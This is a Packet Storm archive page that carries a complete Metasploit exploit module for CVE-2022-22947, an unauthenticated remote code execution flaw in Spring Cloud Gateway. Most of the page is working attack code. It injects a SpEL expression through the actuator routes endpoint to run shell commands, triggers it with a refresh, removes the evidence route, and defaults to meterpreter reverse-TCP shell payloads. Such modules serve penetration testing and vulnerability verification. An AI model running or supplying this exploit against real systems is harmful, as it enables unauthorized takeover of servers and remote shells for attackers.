what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Spring Cloud Gateway 3.1.0 Remote Code Execution

Spring Cloud Gateway 3.1.0 Remote Code Execution
Posted Oct 17, 2022
Authored by Ayan Saha | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway versions 3.0.0 through 3.0.6 and 3.1.0. The vulnerability can be exploited when the Gateway Actuator endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL expressions to execute code and take control of the victim machine.

tags | exploit, remote, code execution
advisories | CVE-2022-22947
SHA-256 | 21645b3916729fad4fc93eb22039c634ac8ba5e477c97ca0844e7968d2668c3d

Spring Cloud Gateway 3.1.0 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Cloud Gateway Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway
versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator
endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL
expressions to execute code and take control of the victim machine.
},
'License' => MSF_LICENSE,
'Author' => [
'Ayan Saha'
],
'References' => [
['CVE', '2022-22947' ],
['URL', 'https://github.com/crowsec-edtech/CVE-2022-22947'],
['URL', 'https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22947'],
['URL', 'https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 9000
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end

def run_command(cmd)
route_name = Rex::Text.rand_text_alpha(8).downcase
uri = "/actuator/gateway/routes/#{route_name}"
value = '#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c", "' + cmd + '"}).getInputStream()))}'

data = {
'id' => route_name,
'filters' => [
{
'name' => 'AddResponseHeader',
'args' =>
{
'name' => 'Result',
'value' => value
}
}
],
'uri' => "http://#{Rex::Text.rand_text_alphanumeric(6..15)}.com"
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'ctype' => 'application/json',
'data' => JSON.generate(data)
})

if res && res.code == 201 && res.message == 'Created'
return route_name
else
return nil
end
end

## Takes in the command and creates a new route with it on the server
def execute_command(cmd, _opts = {})
route_name = run_command(cmd)
if route_name
refresh
cleanup_route(route_name)
else
return false
end
return true
end

## Cleaning up the routes created
def cleanup_route(route_name)
uri = "/actuator/gateway/routes/#{route_name}"
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(uri)
})

if res && res.code == 200
print_good('Route deleted')
return true
else
print_error("Couldn't delete route. Might require manual cleanup.")
return false
end
end

def check
print_status('Checking if server is vulnerable')
res = execute_command('whoami')

if res
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

## Refresh the gateway to trigger the routes with commands created
def refresh
print_status('Triggering code execution using routes')
uri = '/actuator/gateway/refresh'

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri)
})
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

end
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close